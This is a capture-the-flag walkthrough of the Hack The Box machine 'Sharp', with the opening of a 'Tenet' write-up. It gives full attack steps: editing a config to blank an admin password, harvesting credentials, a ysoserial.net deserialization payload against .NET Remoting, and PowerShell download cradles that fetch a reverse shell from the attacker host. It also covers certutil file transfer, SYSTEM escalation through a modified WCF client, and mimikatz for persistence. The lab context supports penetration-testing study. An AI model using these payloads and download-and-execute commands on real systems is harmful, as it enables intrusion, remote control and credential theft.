Encrypted Password: "Ua3LyPFM175GN8D3+tqwLA=="
```

#### Read the Docs

before trying to reverse engineer the .exe file to find out how the passwords are hashed, it's best to read the user guide that accompanied these SMB files: firefox "User Guide.pdf"

 - Some important notes I take from reading the docs:

page 1: As the program is 'portable', it's at our mercy if we change config files

page 3: Blank passwords shouldn't be used - which says to me, it CAN be used but isn't advised

pages 11: There is the only one default user: “Administrator” with blank password.

page 18: suggests that if you forget your password, just take the portable .exe to a different directory and try to execute it as Admin?

pp 22: "Passwords are hidden by default in Setup/Users tab."

Reading the docs, it seems like need to relocate to a Windows VM, sign in as Administrator,and try and find the decrypted passwords that may be waiting in Users?

zipped the entire directory that we downloaded from the SMB share, and moved it to my windows VM.

#### Sign in as Admin

When start the .exe, this interesting pop up let's know that data from a pk3.bak is recovered. Intresting

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb138.jpg)

when try to sign in as Admin with a blank password, don't sign in! So much for an easy ride.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb139.jpg)

#### Config Manipulation

return back to that first pop up: that the data was recovered from the pk3.bak file. When we open it, we can see it's the same file we got the encrypted passwords from earlier

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb140.jpg)

If the .exe calls on this backup file to restore it's own configurations, we may be able to remove the existing password fields. It may possibly let us sign straight in - let's try.

What we need to do is remove this entire directory and the un-zip it fresh again. Now go and manipulate the pk3.bak file.

If we open the pk3.bak file in notepad, and remove this value for the password so it shows we should gain access . Be sure to Save the file as "All Files", and let it replace any file it wants.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb141.jpg)

Now, if we run the .exe and let it call on the pk3 backup, it will load the "blank password" and let's us sign in as Administrator

#### Password Hunt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb142.jpg)

From our notes earlier, we gathered that we need to find the Users tab, as this is where we might find a password. Click on the cog for setup. Then move to the Users tab

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb143.jpg)

we get the password for Lars: G123HHrth234gRG

#### Make Lars Admin

Before we go and take these creds back to the SMB share, to see if we have access to anything new, let's experiment with making Lars admin.

Delete the directory for the exe again. Unzip a fresh install, and edit the pk4.bak file again to change Lars to Admin

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb144.jpg)

And what do you know, if we make Lars admin in the config file, sign in, and look at the passwords again, we get the Admin's too: G2@$btRSHJYTarg (spolier: we don't do much with the admin's password)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb145.jpg)


#### Test the Creds

Armed with credentials, we can begin a second round of enumeration back in our Kali VM

``` bash
#users;passwords
administrator : "G123HHrth234gRG"
lars : "G2@$btRSHJYTarg"
```

If we put these into a respective users and passwords list in kali, and then run crackmapexec we can see if we have any valid creds:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# crackmapexec smb 10.10.10.219 -u usernames.txt -p passwords.txt
SMB         10.10.10.219    445    SHARP            [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB         10.10.10.219    445    SHARP            [-] Sharp\administrator:G123HHrth234gRG STATUS_LOGON_FAILURE 
SMB         10.10.10.219    445    SHARP            [-] Sharp\administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE 
SMB         10.10.10.219    445    SHARP            [+] Sharp\lars:G123HHrth234gRG
```

Lars' creds are valid on the SMB share, so let's go and see if we have access to anything new.

#### SMB enum II

Running smbmap again with valid creds shows us we have access to a dev share:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219
[+] IP: 10.10.10.219:445        Name: localhost                                         
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     READ ONLY
        IPC$                                                    READ ONLY       Remote IPC
        kanban                                                  NO ACCESS
```

Running the previous command with -R lists out what awaits us in the dev share. There isn't too much here, so let's download it and take a look:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219 -R
[+] IP: 10.10.10.219:445        Name: localhost                                         
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     READ ONLY
        .\dev\*
        dr--r--r--                0 Sun Nov 15 06:30:13 2020    .
        dr--r--r--                0 Sun Nov 15 06:30:13 2020    ..
        fr--r--r--             5632 Sun Nov 15 05:25:01 2020    Client.exe
        fr--r--r--               70 Sun Nov 15 08:59:02 2020    notes.txt
        fr--r--r--             4096 Sun Nov 15 05:25:01 2020    RemotingLibrary.dll
        fr--r--r--             6144 Mon Nov 16 06:55:44 2020    Server.exe
        IPC$                                                    READ ONLY       Remote IPC
        .\IPC$\*
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    InitShutdown
        fr--r--r--                4 Sun Dec 31 19:03:58 1600    lsass
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    ntsvcs
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    scerpc
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    Winsock2\CatalogChangeListener-364-0
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    epmapper
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    Winsock2\CatalogChangeListener-1e4-0
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    LSM_API_service
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    eventlog
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    Winsock2\CatalogChangeListener-190-0
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    atsvc
        fr--r--r--                4 Sun Dec 31 19:03:58 1600    wkssvc
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    Winsock2\CatalogChangeListener-428-0
        fr--r--r--                3 Sun Dec 31 19:03:58 1600    W32TIME_ALT
        fr--r--r--                4 Sun Dec 31 19:03:58 1600    srvsvc
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    vgauth-service
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    Winsock2\CatalogChangeListener-254-0
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    Winsock2\CatalogChangeListener-274-0
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
        fr--r--r--                1 Sun Dec 31 19:03:58 1600    PSHost.132546763363573536.2940.DefaultAppDomain.wsmprovhost
        kanban                                                  NO ACCESS
```

``` bash
smbget -R smb://10.10.10.219/dev/ -U lars%G123HHrth234gRG
```

Looks like we're gonna zip this new downloaded dev directory and pop it over to our Windows VM again

#### De-compiling

To figure out what these binaries are doing, we need to recompile them. dnspy is one such tool for decompile .exes: https://github.com/dnSpy/dnSpy

Once you have dnspy, open up client.exe and start opening up the tabs on the left

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb146.jpg)

The tab we're looking for is called remote sample, as this contains some interesting creds just hanging out

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb147.jpg)

The key information is that we now have creds for the service on port 8888, which we found earlier in our nmap scan. We also have the directory/API to call on when we make the request too (SecretSharpDebugApp......)

 - debug : "SharpApplicationDebugUserPassword123!"

#### In Search of an Exploit

In this same dnspy tab, we can take the top string "Remoting.Channels.Tcp" and google it and ask for an exploit. The third option on google is a github with a possible exploit: https://github.com/tyranid/ExploitRemotingService

 - An excellent pre-compiled can be found here: https://github.com/parteeksingh005/ExploitRemotingService_Compiled

#### Compile the Exploit

compile this github exploit in visual studio community.

 - If it's too difficult to make a working binary, I'd suggest you use the pre-compiled binary above

Install the necessary libraries that visual studio asks for, and then traverse around the directories and files on the left until you find ExploitRemotingService.csproj.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb148.jpg)


Click build and watch the output, which should tell you where the resultant client .exe is located.

#### Create a reverse shell

We need to complete a number of steps here, which aren't complicated but do need to be in a particular order:

1. Download python for windows, and start a python web server: python -m SimpleHTTPServer 80

2. Download netcat for windows and listen on the port for a reverse shell: nc.exe -lvp 4321

3. Download a nishang reverse shell, save it, and add this one-liner at the end of the file to have the victim execute the reverse shell:
Invoke-PowerShellTcp -Reverse -IPAddress [Your IP] -Port [Your listner port]

4. Produce a serialised reverse shell by downloading Yososerial

5. Connect to the victim machine via the binary we compiled, with the attached the commands for a reverse shell.

The first two steps are easy, so let's focus on the last two.

#### ysoserial.net

We can find Yososerial here: https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-1.34.zip

What we're going to do here is produce a serialised command to reach into our web server and grab the reverse shell:

``` bash
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')"
```

and we got

``` bash
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAGsvYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuNS9JbnZva2UtUG93ZXJTaGVsbFRjcC5wczEnKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
```

We're now going to take the long output and include it to the binary we built.

#### Remote connection .exe

And now let's run the binary with the serialised output:

``` bash
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAGsvYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuNS9JbnZva2UtUG93ZXJTaGVsbFRjcC5wczEnKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
```

``` bash
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
```

Ignore the error output. What you want to focus on is your python web server. We should see the victim machine pick up our reverse shell file.

``` bash
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.219 - - [10/Jan/2021 01:57:04] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
```

And we have a shell as Lars

``` bash
D:\1.pentesttool\内网渗透>nc.exe -lvp 4321
listening on [any] 4321 ...
connect to [10.10.14.5] from DESKTOP-9LSPC40 [10.10.10.219] 49678
Windows PowerShell running as user lars on SHARP
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
sharp\lars
PS C:\Windows\system32> net user

User accounts for \\SHARP

-------------------------------------------------------------------------------
Administrator            debug                    DefaultAccount
Guest                    lars                     WDAGUtilityAccount
The command completed successfully.
```

and got the user flag

``` bash
PS C:\users\lars\desktop> dir


    Directory: C:\users\lars\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         1/7/2021   2:17 PM             34 user.txt


PS C:\users\lars\desktop> type user.txt
dc4569514afab6cd583ad1259b69eb38
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb149.jpg)

#### Lars Shell

We can get the user flag and then enumerate the machine to find a way to escalate our privileges.In Lars' Documents, directory there's some stuff to do with wcf.

 - Let's bring the files back onto our Windows VM, and read them.

``` bash
PS C:\users\lars\documents\wcf> dir


    Directory: C:\users\lars\documents\wcf


Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                                 
d-----       11/15/2020   1:40 PM                .vs                                                                  
d-----       11/15/2020   1:40 PM                Client                                                               
d-----       11/15/2020   1:40 PM                packages                                                             
d-----       11/15/2020   1:40 PM                RemotingLibrary                                                      
d-----       11/15/2020   1:41 PM                Server                                                               
-a----       11/15/2020  12:47 PM           2095 wcf.sln
```

#### Transfer

We can zip the wcf directory:

``` bash
PS C:\users\lars\documents> dir


    Directory: C:\users\lars\documents


Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                                 
d-----       11/15/2020   1:40 PM                wcf                                                                  


PS C:\users\lars\documents> Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip
PS C:\users\lars\documents> dir


    Directory: C:\users\lars\documents


Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                                 
d-----       11/15/2020   1:40 PM                wcf                                                                  
-a----         1/9/2021   6:09 PM       11598452 wcf.zip
```

And now, we can move the zipped folder to the dev smb we had remote access to:

``` bash
move-item -path C:\users\lars\Documents\wcf.zip -destination c:\dev
```

Back on our windows VM, we can load the Dev share up:

``` bash
C:\Users\Administrator>net use X: \\10.10.10.219\dev
为“10.10.10.219”输入用户名: lars
输入 10.10.10.219 的密码:
命令成功完成。
#Puts lars and his password in: G123HHrth234gRG
```

And if you look in your Windows VM network, the victim's dev SMB share will be there waiting as DriveX

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb150.jpg)


#### Exploring WCF

If we open up the .sln file that was in the WCF directory, we can read how it works in Visual Studio

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb151.jpg)

We can look further into the Client's main function

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb152.jpg)

This seems to connect to port 8889 running on the victim machine, which we will assume is a service running as a privileged user.

 - The plan is then to add some malicious code for a reverse shell, re-compile this into a binary and upload it to the victim, and then execute it to receive a privileged shell.

#### Build the Exploit

We can add a line underneath the last console.Write line . This will repeat the same way we got the User shell.

``` bash
Console.WriteLine(wcfService.InvokePowerShell("iex (new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')"));
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb153.jpg)


Then build the solution, and note the directories that the client and remote .dll are.

#### Transfer II

Unfortunately, I wasn't able to just chuck these files back into the SMB share we networked too.However I didn't try very hard to make it work.

Instead, I coped the client and wcf remote dll back into the directory where I set up my python web server, and then pulled both of these onto the victim machine

``` bash
PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.5/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll
****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.
PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.5/WcfClient.exe" WcfClient.exe
****  Online  ****
  0000  ...
  1400
CertUtil: -URLCache command completed successfully.
PS C:\users\lars\documents> dir


    Directory: C:\users\lars\documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2020   1:40 PM                wcf
-a----         1/9/2021   6:51 PM           5120 WcfClient.exe
-a----         1/9/2021   6:50 PM           7680 WcfRemotingLibrary.dll
```

#### Privilege Escalation

In powershell, we can execute this client via

``` bash
PS C:\users\lars\documents> .\WcfClient.exe http://10.10.14.5/Invoke-PowerShellTcp.ps1
```

 - Be sure you have a netcat reverse shell waiting.

``` bash
D:\1.pentesttool\内网渗透>nc.exe -lvp 4322
listening on [any] 4322 ...
connect to [10.10.14.5] from DESKTOP-9LSPC40 [10.10.10.219] 49692
Windows PowerShell running as user SHARP$ on SHARP
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
PS C:\Windows\system32> cd /users/administrator/desktop
PS C:\users\administrator\desktop> dir


    Directory: C:\users\administrator\desktop


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-ar---         1/7/2021   2:17 PM             34 root.txt                                                               


PS C:\users\administrator\desktop> cat root.txt
5a631ff304d673cdd9f775ce5bc81879
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb154.jpg)

And we're root! This Shell won't last long, so be careful!

 - If you want to do post-root activities, upload a netcat binary and have the new system shell quickly use this binary to create a new reverse shell.

use mimikatz to retrieve the admin's hash, for persistence.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb155.jpg)

#### Summary of knowledge

 - SMB enumeration
 - ack tool usage
 - reset password by remove the existing password fields
 - make Lars admin in the config file to get Administrator’s pass
 - De-compiling and compiling file use dnspy
 - use ExploitRemotingService and ysoserial.net and nc.exe to get a reverse shell
 - powershell commands to zip and move files
 - use certutil -urlcache -split -f "" to download files
 - make use of service running as a privileged user to escalate to administrator

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end sharp -->

</details>

<a id="case-tenet"></a>

## PHP 对象析构与密钥写入竞态

原链由 PHP 对象注入得到执行，再追踪 root authorized_keys 写入脚本的时序。备份文件、序列化对象与竞态操作完整保留。

<p class="kb-provenance">来源 tenet · 原记录 2021-01-18 · 13 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-tenet">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start tenet -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	16 Jan 2021
IP:	10.10.10.223

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb161.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tenet]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.223
PORT   STATE SERVICE VERSION
